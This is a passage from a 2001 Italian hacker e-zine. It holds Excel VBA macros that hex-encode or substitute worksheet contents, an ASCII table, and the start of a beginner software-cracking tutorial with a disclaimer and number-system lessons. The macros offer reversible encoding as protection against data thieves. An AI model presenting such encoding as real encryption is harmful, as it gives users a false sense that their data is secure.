irreversive blockage dona il massimo della protezione ai dati contro eventuali attacchi. OK, detto questo credo di aver fatto una panoramica generale abbastanza completa. Spero di essere stato abbastanza chiaro. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 19/03/2001 | | CODING 4 DUMMiEZ: C0DiFiCHiAM0 iN EXCEL .................. [Mysha] 0x16/0x1A | +-------------------------------------------------------------------------------+ ----NOTA----- Comunico che i codici sottostanti non possono essere usati per uso a scopo di lucro perche' registrati a mio nome. --FINE NOTA-- Bene, la mia fantasia non si ferma mai...e poi per farvi imparare a programmare mi sbatto molto cercando di essere chiara e intuitiva:) Ho preparato per voi un programma da copiare in un modulo per codificare e criptare i vostri dati in maniera che se anche aperto da altri eliminando le password di excel (si trovano software su internet che disinibiscono le password inserite), avremo al sicurezza che il nostro 'ladro' di informazioni sia bloccato. Ricordo che per essere sicuri, non mettete il programma per codificare nel file da codificare (se no lo decodificano tutti), ma mettetelo in un foglio generico che tenete sul vostro HD e, selezionadno il file da codificare, eseguite la macro. Ho permesso di fare questo per il fatto che andiamo a codificare il foglio che VEDIAMO e non quello dove risiede la macro. Quindi aprite il file della Criptazione e aprite il file da codificare. Andremo poi sul menu strumenti e scegliamo macro. Avendo dinnanzi agli occhi il file da criptare, eseguiremo la macro e ecco per magia il file criptato. Per decriptarlo faremo la stessa operazione, ma eseguendo il programma Decripta. Ho messo a disposizione 2 codici per questo programma, il primo che converte quello che c'e' scritto in un foglio excel in esa decimale e quindi ritraducibile con un po' di impegno da un buon lameraccio, l'altro con la personalizzazione della codifica, in modo che solo voi sappiate tale codifica. Il primo codice sara' quello per la traduzione in ESA DECIMALE, il secondo quello personalizzato. Per intanto la codifica del primo e la seconda sono uguali, vi spiego poi come cambiarla. Fate copia e incolla nel testo compreso tra "-------------------------------" escluso questa riga. ESA DECIMALE: ------------------------------- Sub CriptaInHEX() numerocellecriptate = 0 'variabile che conta le celle criptate 'azzeramento per criptare Range("A1").Select 'seleziona la prima cella del foglio z = 1 'azzera la variabile z che serve per determinare la riga da criptare q = 1 'azzera la variabile q che serve per determinare la colonna da criptare 'FINE azzeramento per criptare 'cambia nome del foglio nomefile = ActiveWorkbook.Name 'prende il nome del file nomefoglio = ActiveSheet.Name 'prende il nome del foglio If Right(nomefoglio, 3) = "$C$" Then 'verifica se il foglio e' criptato o no MsgBox ("Il foglio e' gia' criptato") 'se trova "$C$" allora non cripta il foglio GoTo finesub ' finisce il programma Else 'se non contiene "$C$" allora cripta il foglio End If nomefoglio = nomefoglio & "$C$" 'accoda al nomefoglio il valora "$C$" ActiveSheet.Name = nomefoglio 'cambia il nome del foglio 'FINE cambia nome del foglio 'seleziona l'elenco e i limiti delle celle scritte ActiveCell.SpecialCells(xlLastCell).Select 'va all'ultima cella dell'elenco limite = Selection.Column 'determina la colonna della cella e lo pone come limite da criptare limiteZ = Selection.Row 'determina la riga della cella e lo pone come limite da criptare 'FINE seleziona l'elenco e i limiti delle celle scritte 'INIZIA A CRIPTARE Do Until q = limite + 1 'continua a ciclare il programma fino a che non finisce le colonne A = Cells(z, q).Formula 'prende il valore della cella selezionata b = Cells(z, q).NumberFormat 'prende il formato della cella selezionata If A = "" Then GoTo passa 'passa la criptazioen se la cella e' vuota aa = Len(A) 'prende la lunghezza del valore della cella c = b & Chr(13) 'mette nella variabile c il formato della cella e il carattere asci che sarebbe l'invio For x = 1 To aa 'cicla per criptare la cella per la lunghezza della variabile a b = Mid(A, x, 1) ' la variabile b prende il campo del valore di a in base al ciclo b = Asc(b) 'converte la variabile b in codice ASCII d = Hex(b) 'converte la variabile b in ESA DECIMALE c = c & d ' accoda il valore alla variabile c Next x 'ripete il ciclo Selection.NumberFormat = "@" 'formatta la cella come personalizzata Cells(z, q).Formula = c 'scrive nella cella il valore di c numerocellecriptate = numerocellecriptate + 1 'aumenta il valore delle celle criptate passa: 'e' l'arrivo se la cella era vuota z = z + 1 'aumenta la riga di 1 If z > limiteZ Then z = 1: q = q + 1 'se la riga e' maggiore If z > del limite allora azzera il limite e aumenta di 1 la colonna Loop 'ripete il ciclo MsgBox ("Criptate n° " & numerocellecriptate & " di celle.") 'ci dice il numero di celle criptate finesub: 'e' l'arrivo se il foglio era gia' criptato End Sub Sub DecriptaInHEX() numerocellecriptate = 0 'variabile che conta le celle criptate ' la decriptazione e' simile, si differenzia nel fatto che prima prende il formato della cella e lo scrive e, poi analizza il resto a 2 cifre alla volte perche' le ese decimali vanno a 2 cifre alla volta. Range("A1").Select 'seleziona la prima cella del foglio z = 1 'azzera la variabile z che serve per determinare la riga da criptare q = 1 'azzera la variabile q che serve per determinare la colonna da criptare 'FINE azzeramento per criptare 'cambia nome del foglio nomefile = ActiveWorkbook.Name 'prende il nome del file nomefoglio = ActiveSheet.Name 'prende il nome del foglio If Right(nomefoglio, 3) = "$C$" Then 'verifica se il foglio e' criptato o no Else 'se contiene "$C$" allora decripta il foglio MsgBox ("Il foglio e' gia' criptato") 'se trova "$C$" allora decripta il foglio GoTo finesub ' finisce il programma End If lunome = Len(nomefoglio) - 3 'prende la parte di nome del foglio senza "$C$" nomefoglio = Left(nomefoglio, lunome) 'cambia la variabile nomefoglio senza la parte di nome del foglio senza "$C$" ActiveSheet.Name = nomefoglio 'cambia il nome del foglio 'seleziona l'elenco e i limiti delle celle scritte ActiveCell.SpecialCells(xlLastCell).Select 'va all'ultima cella dell'elenco limite = Selection.Column 'determina la colonna della cella e lo pone come limite da criptare limiteZ = Selection.Row 'determina la riga della cella e lo pone come limite da criptare 'FINE seleziona l'elenco e i limiti delle celle scritte Do Until q = limite + 1 'continua a ciclare il programma fino a che non finisce le colonne A = Cells(z, q).Formula 'prende il valore della cella selezionata If A = "" Then GoTo passa 'passa la criptazioen se la cella e' vuota 'determina formato cella For x = 1 To Len(A) 'cicla per criptare la cella per la lunghezza della variabile a b = Mid(A, x, 1) ' la variabile b prende il campo del valore di a in base al ciclo If b = Chr(13) Then c = Left(A, x - 1): GoTo fine Next x 'ripete il ciclo fine: 'FINE determina formato cella Selection.NumberFormat = c 'formatta la cella come prima della codifica lunghezzacampi = Len(A) - x c = Right(A, lunghezzacampi) y = 1 d = Len(c) / 2 f = "" For x = 1 To d b = Mid(c, y, 2) y = y + 2 'converte la variabile i ESA DECIMALE For xx = 1 To 256 verifica = Chr(xx) verificaB = Asc(verifica) verificaC = Hex(verificaB) If verificaC = b Then GoTo skippa Next xx skippa: 'FINE converte la variabile i ESA DECIMALE e = Chr(xx) f = f & e ' accoda il valore alla variabile F Next x 'ripete il ciclo Cells(z, q).Formula = f 'scrive nella cella il valore di f numerocellecriptate = numerocellecriptate + 1 'aumenta il valore delle celle criptate passa: 'e' l'arrivo se la cella era vuota z = z + 1 'aumenta la riga di 1 If z > limiteZ Then z = 1: q = q + 1 'se la riga e' maggiore If z > del limite allora azzera il limite e aumenta di 1 la colonna Loop 'ripete il ciclo MsgBox ("Decriptate n° " & numerocellecriptate & " di celle.") 'ci dice il numero di celle decriptate finesub: 'e' l'arrivo se il foglio era gia' decriptato End Sub ------------------------------- CRIPTA PERSONALE: ------------------------------- Sub CriptaPersonale() Codifica = Array("01", "02", "03", "04", "05", "06", "07", "08", "09", "0A", "0B", "0C", "0D", "0E", "0F", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1A", "1B", "1C", "1D", "1E", "1F", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2A", "2B", "2C", "2D", "2E", "2F", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3A", "3B", "3C", "3D", "3E", "3F", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4A", "4B", "4C", "4D", "4E", "4F", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5A", "5B", "5C", "5D", "5E", "5F", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6A", "6B", "6C", "6D", "6E", "6F", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7A", "7B", "7C", "7D", "7E", "7F", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8A", "8B", "8C", "8D", "8E", "8F", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9A", "9B", "9C", "9D", "9E", "9F", "A0", "A1", "A2", "A3", "A4" _ , "A5", "A6", "A7", "A8", "A9", "AA", "AB", "AC", "AD", "AE", "AF", "B0", "B1", "B2", "B3", "B4", "B5", "B6", "B7", "B8", "B9", "BA", "BB", "BC", "BD", "BE", "BF", "C0", "C1", "C2", "C3", "C4", "C5", "C6", "C7", "C8", "C9", "CA", "CB", "CC", "CD", "CE", "CF", "D0", "D1", "D2", "D3", "D4", "D5", "D6", "D7", "D8", "D9", "DA", "DB", "DC", "DD", "DE", "DF", "E0", "E1", "E2", "E3", "E4", "E5", "E6", "E7", "E8", "E9", "EA", "EB", "EC", "ED", "EE", "EF", "F0", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "FA", "FB", "FC", "FD", "FE", "FF") 'verifica campi array For x = 1 To 255 prova = Codifica(x - 1) If Len(prova) <> 2 Then MsgBox ("Il campo n° " & x - 1 & " ( " & prova & " ) dell'Array CODIFICA nel programma Cripta e' sbagliato"): GoTo finesub Next x 'FINE verifica campi array numerocellecriptate = 0 'variabile che conta le celle criptate 'azzeramento per criptare Range("A1").Select 'seleziona la prima cella del foglio z = 1 'azzera la variabile z che serve per determinare la riga da criptare q = 1 'azzera la variabile q che serve per determinare la colonna da criptare 'FINE azzeramento per criptare 'cambia nome del foglio nomefile = ActiveWorkbook.Name 'prende il nome del file nomefoglio = ActiveSheet.Name 'prende il nome del foglio If Right(nomefoglio, 3) = "$C$" Then 'verifica se il foglio e' criptato o no MsgBox ("Il foglio e' gia' criptato") 'se trova "$C$" allora non cripta il foglio GoTo finesub ' finisce il programma Else 'se non contiene "$C$" allora cripta il foglio End If nomefoglio = nomefoglio & "$C$" 'accoda al nomefoglio il valora "$C$" ActiveSheet.Name = nomefoglio 'cambia il nome del foglio 'FINE cambia nome del foglio 'seleziona l'elenco e i limiti delle celle scritte ActiveCell.SpecialCells(xlLastCell).Select 'va all'ultima cella dell'elenco limite = Selection.Column 'determina la colonna della cella e lo pone come limite da criptare limiteZ = Selection.Row 'determina la riga della cella e lo pone come limite da criptare 'FINE seleziona l'elenco e i limiti delle celle scritte 'INIZIA A CRIPTARE Do Until q = limite + 1 'continua a ciclare il programma fino a che non finisce le colonne A = Cells(z, q).Formula 'prende il valore della cella selezionata b = Cells(z, q).NumberFormat 'prende il formato della cella selezionata If A = "" Then GoTo passa 'passa la criptazioen se la cella e' vuota aa = Len(A) 'prende la lunghezza del valore della cella c = b & Chr(13) 'mette nella variabile c il formato della cella e il carattere asci che sarebbe l'invio For x = 1 To aa 'cicla per criptare la cella per la lunghezza della variabile a b = Mid(A, x, 1) ' la variabile b prende il campo del valore di a in base al ciclo b = Asc(b) 'converte la variabile b in codice ASCII d = Codifica(b - 1) 'converte la variabile b nel codice dell'array CODIFICA c = c & d ' accoda il valore alla variabile c Next x 'ripete il ciclo Selection.NumberFormat = "@" 'formatta la cella come personalizzata Cells(z, q).Formula = c 'scrive nella cella il valore di c numerocellecriptate = numerocellecriptate + 1 'aumenta il valore delle celle criptate passa: 'e' l'arrivo se la cella era vuota z = z + 1 'aumenta la riga di 1 If z > limiteZ Then z = 1: q = q + 1 'se la riga e' maggiore If z > del limite allora azzera il limite e aumenta di 1 la colonna Loop 'ripete il ciclo MsgBox ("Criptate n° " & numerocellecriptate & " di celle.") 'ci dice il numero di celle criptate finesub: 'e' l'arrivo se il foglio era gia' criptato End Sub Sub DecriptaPersonale() Codifica = Array("01", "02", "03", "04", "05", "06", "07", "08", "09", "0A", "0B", "0C", "0D", "0E", "0F", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1A", "1B", "1C", "1D", "1E", "1F", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2A", "2B", "2C", "2D", "2E", "2F", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3A", "3B", "3C", "3D", "3E", "3F", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4A", "4B", "4C", "4D", "4E", "4F", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5A", "5B", "5C", "5D", "5E", "5F", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6A", "6B", "6C", "6D", "6E", "6F", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7A", "7B", "7C", "7D", "7E", "7F", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8A", "8B", "8C", "8D", "8E", "8F", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9A", "9B", "9C", "9D", "9E", "9F", "A0", "A1", "A2", "A3", "A4" _ , "A5", "A6", "A7", "A8", "A9", "AA", "AB", "AC", "AD", "AE", "AF", "B0", "B1", "B2", "B3", "B4", "B5", "B6", "B7", "B8", "B9", "BA", "BB", "BC", "BD", "BE", "BF", "C0", "C1", "C2", "C3", "C4", "C5", "C6", "C7", "C8", "C9", "CA", "CB", "CC", "CD", "CE", "CF", "D0", "D1", "D2", "D3", "D4", "D5", "D6", "D7", "D8", "D9", "DA", "DB", "DC", "DD", "DE", "DF", "E0", "E1", "E2", "E3", "E4", "E5", "E6", "E7", "E8", "E9", "EA", "EB", "EC", "ED", "EE", "EF", "F0", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "FA", "FB", "FC", "FD", "FE", "FF") numerocellecriptate = 0 'variabile che conta le celle criptate ' la decriptazione e' simile, si differenzia nel fatto che prima prende il formato della cella e lo scrive e, poi analizza il resto a 2 cifre alla volte perche' le ese decimali vanno a 2 cifre alla volta. Range("A1").Select 'seleziona la prima cella del foglio z = 1 'azzera la variabile z che serve per determinare la riga da criptare q = 1 'azzera la variabile q che serve per determinare la colonna da criptare 'FINE azzeramento per criptare 'cambia nome del foglio nomefile = ActiveWorkbook.Name 'prende il nome del file nomefoglio = ActiveSheet.Name 'prende il nome del foglio If Right(nomefoglio, 3) = "$C$" Then 'verifica se il foglio e' criptato o no Else 'se contiene "$C$" allora decripta il foglio MsgBox ("Il foglio e' gia' criptato") 'se trova "$C$" allora decripta il foglio GoTo finesub ' finisce il programma End If lunome = Len(nomefoglio) - 3 'prende la parte di nome del foglio senza "$C$" nomefoglio = Left(nomefoglio, lunome) 'cambia la variabile nomefoglio senza la parte di nome del foglio senza "$C$" ActiveSheet.Name = nomefoglio 'cambia il nome del foglio 'seleziona l'elenco e i limiti delle celle scritte ActiveCell.SpecialCells(xlLastCell).Select 'va all'ultima cella dell'elenco limite = Selection.Column 'determina la colonna della cella e lo pone come limite da criptare limiteZ = Selection.Row 'determina la riga della cella e lo pone come limite da criptare 'FINE seleziona l'elenco e i limiti delle celle scritte Do Until q = limite + 1 'continua a ciclare il programma fino a che non finisce le colonne A = Cells(z, q).Formula 'prende il valore della cella selezionata If A = "" Then GoTo passa 'passa la criptazioen se la cella e' vuota 'determina formato cella For x = 1 To Len(A) 'cicla per criptare la cella per la lunghezza della variabile a b = Mid(A, x, 1) ' la variabile b prende il campo del valore di a in base al ciclo If b = Chr(13) Then c = Left(A, x - 1): GoTo fine Next x 'ripete il ciclo fine: 'FINE determina formato cella Selection.NumberFormat = c 'formatta la cella come prima della codifica lunghezzacampi = Len(A) - x c = Right(A, lunghezzacampi) y = 1 d = Len(c) / 2 f = "" For x = 1 To d b = Mid(c, y, 2) y = y + 2 'converte la variabile nella decodifica dell'array For xx = 1 To 256 verifica = Chr(xx) verificaB = Asc(verifica) verificaC = Codifica(verificaB - 1) If verificaC = b Then GoTo skippa Next xx skippa: 'FINE converte la variabile nella decodifica dell'array e = Chr(xx) f = f & e ' accoda il valore alla variabile F Next x 'ripete il ciclo Cells(z, q).Formula = f 'scrive nella cella il valore di f numerocellecriptate = numerocellecriptate + 1 'aumenta il valore delle celle criptate passa: 'e' l'arrivo se la cella era vuota z = z + 1 'aumenta la riga di 1 If z > limiteZ Then z = 1: q = q + 1 'se la riga e' maggiore If z > del limite allora azzera il limite e aumenta di 1 la colonna Loop 'ripete il ciclo MsgBox ("Decriptate n° " & numerocellecriptate & " di celle.") 'ci dice il numero di celle decriptate finesub: 'e' l'arrivo se il foglio era gia' decriptato End Sub ------------------------------- Una volta copiato questo testo, vi appariranno le descrizioni del codice accanto all' apostrofo in verde. Non ho scritto riga per riga perche' stavo impazzendo, ma il 90% delle righe sono descritte. Per cambiare la codifica del secondo, ricordate queste regole: 1-Sia nella Sub CRIPTAPERSONALE che in quella DECRIPTAPERSONALE dovrete avere gli stessi codici. Quindi scriveteli da una parte e fate copia e incolla per avere la medesima codifica. 2-Dovete scrivere i codici di decodifica con 2 caratteri. Il programma comunque in caso di errore vi segnala questa cosa. 3-NON DOVETE inserire 2 volte lo stesso codice per due decodifiche diverse. 4-Le codifiche devono sempre essere 255 come l'array che ho scritto io. Ora vi spiego... L'array codifica contiene 255 codifiche perche' sono la corrispondenza dei caratteri ascii. Di seguito vi riporto la tabella ASCII cosi' saprete a cosa significa l'esa "3D" che sarebbe la traduzione in ascii di "=". Numero I CARA- I ESA ASCII I TTERE I DECIMALE 1  01 2  02 3  03 4  04 5  05 6  06 7  07 8  08 9 09 10 0A 11 0B 12 0C 13 0D 14  0E 15  0F 16  10 17  11 18  12 19  13 20  14 21  15 22  16 23  17 24  18 25  19 26 1A 27  1B 28  1C 29  1D 30  1E 31  1F 32 20 33 ! 21 34 " 22 35 # 23 36 $ 24 37 % 25 38 & 26 39 27 40 ( 28 41 ) 29 42 * 2A 43 + 2B 44 , 2C 45 - 2D 46 . 2E 47 / 2F 48 0 30 49 1 31 50 2 32 51 3 33 52 4 34 53 5 35 54 6 36 55 7 37 56 8 38 57 9 39 58 : 3A 59 ; 3B 60 < 3C 61 = 3D 62 > 3E 63 ? 3F 64 @ 40 65 A 41 66 B 42 67 C 43 68 D 44 69 E 45 70 F 46 71 G 47 72 H 48 73 I 49 74 J 4A 75 K 4B 76 L 4C 77 M 4D 78 N 4E 79 O 4F 80 P 50 81 Q 51 82 R 52 83 S 53 84 T 54 85 U 55 86 V 56 87 W 57 88 X 58 89 Y 59 90 Z 5A 91 [ 5B 92 \ 5C 93 ] 5D 94 ^ 5E 95 _ 5F 96 ` 60 97 a 61 98 b 62 99 c 63 100 d 64 101 e 65 102 f 66 103 g 67 104 h 68 105 i 69 106 j 6A 107 k 6B 108 l 6C 109 m 6D 110 n 6E 111 o 6F 112 p 70 113 q 71 114 r 72 115 s 73 116 t 74 117 u 75 118 v 76 119 w 77 120 x 78 121 y 79 122 z 7A 123 { 7B 124 | 7C 125 } 7D 126 ~ 7E 127  7F 128 € 80 129 81 130 ‚ 82 131 ƒ 83 132 „ 84 133 … 85 134 † 86 135 ‡ 87 136 ˆ 88 137 ‰ 89 138 Š 8A 139 ‹ 8B 140 Œ 8C 141 8D 142 Ž 8E 143 8F 144 90 145 ‘ 91 146 ’ 92 147 “ 93 148 ” 94 149 • 95 150 – 96 151 — 97 152 ˜ 98 153 ™ 99 154 š 9A 155 › 9B 156 œ 9C 157 9D 158 ž 9E 159 Ÿ 9F 160   A0 161 ¡ A1 162 ¢ A2 163 £ A3 164 ¤ A4 165 ¥ A5 166 ¦ A6 167 § A7 168 ¨ A8 169 © A9 170 ª AA 171 « AB 172 ¬ AC 173 ­ AD 174 ® AE 175 ¯ AF 176 ° B0 177 ± B1 178 ² B2 179 ³ B3 180 ´ B4 181 µ B5 182 ¶ B6 183 · B7 184 ¸ B8 185 ¹ B9 186 º BA 187 » BB 188 ¼ BC 189 ½ BD 190 ¾ BE 191 ¿ BF 192 À C0 193 Á C1 194  C2 195 à C3 196 Ä C4 197 Å C5 198 Æ C6 199 Ç C7 200 È C8 201 É C9 202 Ê CA 203 Ë CB 204 Ì CC 205 Í CD 206 Î CE 207 Ï CF 208 Ð D0 209 Ñ D1 210 Ò D2 211 Ó D3 212 Ô D4 213 Õ D5 214 Ö D6 215 × D7 216 Ø D8 217 Ù D9 218 Ú DA 219 Û DB 220 Ü DC 221 Ý DD 222 Þ DE 223 ß DF 224 à E0 225 á E1 226 â E2 227 ã E3 228 ä E4 229 å E5 230 æ E6 231 ç E7 232 è E8 233 é E9 234 ê EA 235 ë EB 236 ì EC 237 í ED 238 î EE 239 ï EF 240 ð F0 241 ñ F1 242 ò F2 243 ó F3 244 ô F4 245 õ F5 246 ö F6 247 ÷ F7 248 ø F8 249 ù F9 250 ú FA 251 û FB 252 ü FC 253 ý FD 254 þ FE 255 ÿ FF Spero che questo vi sia utile, in caso contrario, beh avrete imparato qulcosa di nuovo. Baci Baci Mysha +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 19/03/2001 | | CRACKiNG 4 DUMMiEZ: .................................... [_phobos_] 0x17/0x1A | +-------------------------------------------------------------------------------+ ________________________________________________________________________ ######################################################################## ######################################################################## ###################### ######################## ################ ################### ########## CRACKING FOR TOTALLY NEWBYES ############# ################ VOLUME TWO ################### ###################### ######################## ######################################################################## ######################################################################## ####### ####### ### Written by phobos for OndaQuadra Magazine ### ### Copyright (C) by OQ Magazine Y2K+1 ### ### All Right Reserved ### ####### ####### ######################################################################## ######################################################################## ############################'~~~ ~~~`############################### #######################' `########################## ####################' `####################### ##################' phobos (aka D4rKSP4rr0W) `##################### ################' http://phrew.cjb.net `################### ###############' phobos333@SoftHome.net `################## ##############' `################# ############## ################# #############' n, `################ ############# _/ | _ ################ ############# /' `'/ ################ #############a <~ .' a################ ############## .' | ################# ##############a _/ | a################# ###############a _/ `.`. a################## ################a ____/ ' \__ | |______ a################### ##################a__/___/ /__\ \ \ \___.a##################### ##################/ (___.'\_______)\_|_| \###################### #################|\________ ~~~~~\################ #################|| |\___________________________/|#/^^^^^^^^^\### ################/ | | | | | ||\__________|## ######################################################################## DISCLAIMER ^^^^^^^^^^ COME SEMPRE, VOGLIO RICORDARVI CHE LA 'REGISTRAZIONE' DEI PROGRAMMI MEDIANTE SERIALI 'SNIFFATI',IL LORO CRACKING, ED IN ALCUNI CASI IL LORO SEMPLICE 'REVERSE ENGENEERING' SONO PROCEDURE VIETATE DALLA LEGGE. UNA VOLTA TERMINATO IL PERIODO SHAREWARE BISOGNA REGISTRARE LEGALMENTE IL PROGRAMMA O DISFARSENE. QUESTO TUTE E' SCRITTO PER SOLI FINI DIDATTICI, L'AUTORE NON VUOLE IN ALCUN MODO INCORAGGIARE ATTIVITA' ILLEGALI. NON MI ASSUMO INOLTRE NESSUNA RESPONSABILITA' SE VI SPAPPOLATE I PROGRAMMI. LO SCOPO DI QUESTO TUTE E' DI ANALIZZARE LE TECNICHE DI PROTEZIONE USATE DAI PROGRAMMATORI COMMERCIALI ED INDIVIDUARE EVENTUALI 'FALLE' AL FINE DI RENDERE I LORO PRODOTTI PIU' EFFICIENTI E SICURI. SE AVETE SUGGERIMENTI, CRITICHE COSTRUTTIVE O DOMANDE, CONTATTATEMI. SE INVECE VOLETE RECLAMARE DIRITTI SUI MARCHI O PRODOTTI CITATI ALL'INTERNO DEL PRESENTE... ANDATE PURE A FARE IN CU... TUTTI I NOMI CITATI SONO MARCHI REGISTRATI O COPYRIGHT DEI RISPETTIVI AUTORI. ######################################################################## TECH NOTE ********* Il presente testo e' stato scrito utilizzando un editor di testo (UltraEdit-32 e non quella kiavika del notepad di Windoze), utilizzando il Courier New a dimensione 10P. Potra' essere letto (e meglio apprezzato) utilizzando il courier o qualunque tipo di font a spaziatura fissa. ________________________________________________________________________ PRECISAZIONE ************ La definizione che si trova spesso sul net di 'cracker' e' piuttosto chiara: 'Un cracker e' un malicious hacker, che penetra nei sistemi informatici allo scopo di fare danni, e di distruggere tutto cio' che gli capita a tiro...'. Differentemente dall'hacker, che una volta entrato in un sistema, lungi dal fare il benche' minimo danno, si prende la briga pure di avvisare il sysadmin, affinche' risolva la falla che gli ha permesso di entrare... A mio avviso, andando oltre l'orgoglio ferito ('cazzo, e' entrato sul mio protettissimo sistema!!!') bisognerebbe essere grati se un hacker ti lascia un log su come porre rimedio ad un bug... ;) Per cio' che concerne l'underground italiano, questo termine, applicato nell'ambito dei programmi, non ha lo stesso significato. I crackers (si' i salatini) differiscono dai 'reversers'... Noi reversers non amiamo essere accomunati a coloro che hanno manie distruttive, spesso veniamo definiti crackers per il semplice fatto che la procedura di rimozione della protezione di un programma e' detta, appunto, crack. E, sicuramente, con un abuso di linguaggio, il termine e' stato trasportato anche per identificare colui che realizza i crack. Forse e' vero che la realizzazione di un crack implica in un certo modo la distruzione di un algoritmo di protezione... ma la differenza non nota ai piu' e' la seguente (piu' o meno la stessa che passa tra un cracker ed un hacker riferiti alla rete):il cracker rilascia i propri crack alla comunita', causando un danno al programmatore (o peggio alla software house) che ha prodotto il programma, il reverser non rilascia un bel niente... lo fa solo per soddisfazione personale... oltretutto la maggior parte dei programmi che alla fine si craccano, sono programmi di cui non ce ne puo' fregare di meno, quindi una volta debellati, vengono cestinati, la documentazione che rimane e' un po' come un album di fotografie, che rimane a ricordo di un momento importante, o di un momento che comunque ha suscitato in noi una emozione. Ne piu' ne meno di cio'. ________________________________________________________________________ COPYRIGHTS[?!] ************** La grafica ASCII utilizzata e' stata presa e modificata dallo script per mIRC |EMD2|, non erano indicate limitazioni a riguardo, ne so chi l'abbia realizzata, quindi grazie a chi di dovere. ######################################################################## Ieri sera ero in chat su Dalnet nel nostro canale, ed a un certo punto ha joinato Tritemius, dopo i saluti, siamo andati in query, e lui mi ha chiesto se avevo iniziato a scrivere il secondo volume della 'saga'... Chiaramente io non avevo iniziato :) (hehehe, non dimenticate la filosofia zen: 'non fare mai oggi quello che potresti far fare a qualcun'altro domani' ;)) pero' avevo gia' le idee chiare su come affrontare la stesura di questo capitolo. Gli ho detto quelli che sarebbero stati i punti salienti, lui mi ha consigliato di integrare qualche cosina (hihihi quando ci arriveremo saranno doloretti) quindi stamane accomi qui', sigaretta in bocca e tastera alla mano, per scrivere il secondo volume di questa sezione della nostra Zine... INDEX ----------------------------------------------------------------------- 0 BREVE RIASSUNTO DELLA PUNTATA PRECEDENTE 1 CENNI DI ARITMETICA BINARIA 2 CENNI DI ARITMETICA ESADECIMALE 3 CONVERSIONI DI BASE 4 OPERAZIONI LOGICHE FONDAMENTALI 5 TIPI DI DATI UTILIZZATI NELLE CPU 80x86 INTEL 6 STRUTTURA E TIPOLOGIA DEI REGISTRI DELLE CPU 80x86 ----------------------------------------------------------------------- -= 0 =- -= BREVE RIASSUNTO DELLA PUNTATA PRECEDENTE =- Nella puntata precedente, abbiamo visto cosa utilizzare, come configurare un debugger, cos'e' un disassemblatore ed abbiamo accennato all'uso dell'editor esadecimale. Il debugger e' il SoftIce della Numega, (si potrebbe in realta' utilizzare un altro tool: il TRW2000, che e' stato utilizzato per debuggare il SoftIce, e voi direte: "perche' non usiamo quello?" domanda lecita... perche' e' piu' complicato ed al momento non ci serve) I disassemblatori sono due: il WinDasm (per i 'casi' piu' semplici) e l'IDA (Intelligent DisAssembler) che come dice il nome e' molto migliore del windasm, ma anche piu' complicato da utilizzare. Per quanto riguarda l'editor esadecimale... beh la scelta e' piuttosto vasta... io uso l'ultraedit... (apre un text da 6 mega in pochi secondi, provateci col WordPad di windoze ;)) quindi sceglietene uno che vi aggrada. -= 1 =- -= CENNI DI ARITMETICA BINARIA =- Allora, prima di iniziare con il cracking (hehe molto prima) voglio farvi fare un excursus su quelle che sono le numerazioni che si usano sul computer, binaria ed esadecimale. La binaria difficilmente la useremo (anzi... io non l'ho mai usata proprio) pero' ai fini didattici e' utile (e non dimenticate che il fine di questo tutorial e' quello didattico ;P). Chiunque di voi sappia, o abbia gia' studiato l'argomento, puo' tranquillamente saltare questa parte ed andare a quella relativa ai registri... anche se visto il target a cui mira questo testo, e' meglio che continuiate a leggere. Noi siamo abituati al sistema decimale, vuoi perche' lo usiamo in maniera inconscia da tanto di quel tempo, vuoi perche' forse siamo geneticamente predisposti al suo uso (abbiamo dieci dita sulle mani e dieci sui piedi), quindi per molti di noi la sola idea di iniziare a contare in un sistema diverso, causa paura... In realta' e' solo una questione di abitudine, se madre natura ci avesse fatti evolvere con otto dita per mano, non avremmo avuto nessuna difficolta' a 'pensare' in esadecimale. Ma veniamo a noi, un sistema numerico e' definito dalla sua base (base dieci, base otto, base due o base sedici) e la base indica quelle che sono le cifre che costituiscono i numeri del sistema stesso. Ad esempio, nel caso del sistema decimale (base dieci) le cifre sono appunto dieci: 1, 2, 3, 4, 5, 6, 7, 8, 9 e 0. Tutti i numeri sono costituiti da una sequenza di queste dieci cifre. Si parla anche di sistema posizionale, vediamo perche'... il numero 10 e' piu' piccolo del numero 100... perche'? Entrambi sono costituiti dalle stesse cifre (zero e uno)... si' ma il numero cento ha uno zero in piu'... ma lo zero di per se' non significa nulla, e' la sua posizione quella che importa (infatti se scrivessi 1,10 o 01,10 direi la stessa cosa, l'aggiunta dello zero daventi all'uno, non significa nulla e non cambia il numero). Il sistema posizionale, non fa altro che 'attribuire un peso' alle cifre in base a quella che e' la loro posizione in una sequenza di numeri, mediante l'uso delle potenze della base di numerazione. ('cazzo dici pho'???? hehehe calma... faccio un esempio) Immaginiamo di dover rappresentare graficamente la scomposizione di un numero: 129 voi cosa direste? Direste, come vi hanno insegnato dalle elementari: Un centinaio, Due decine, e nove unita'. Giusto. Ma che vuol dire in termini di utilizzo delle potenze della base? Semplice. Cento a quanto e' uguale se lo voglio scomporre per dieci? 100 = 1 * 10 * 10 = 1 * 10^2 (^ indica l'elevazione alla potenza, * il prodotto) Capito ora? Torniamo al nostro esempio: 129 129 = 100 + 20 + 9 cioe' 1 * 10 * 10 + 2 * 10 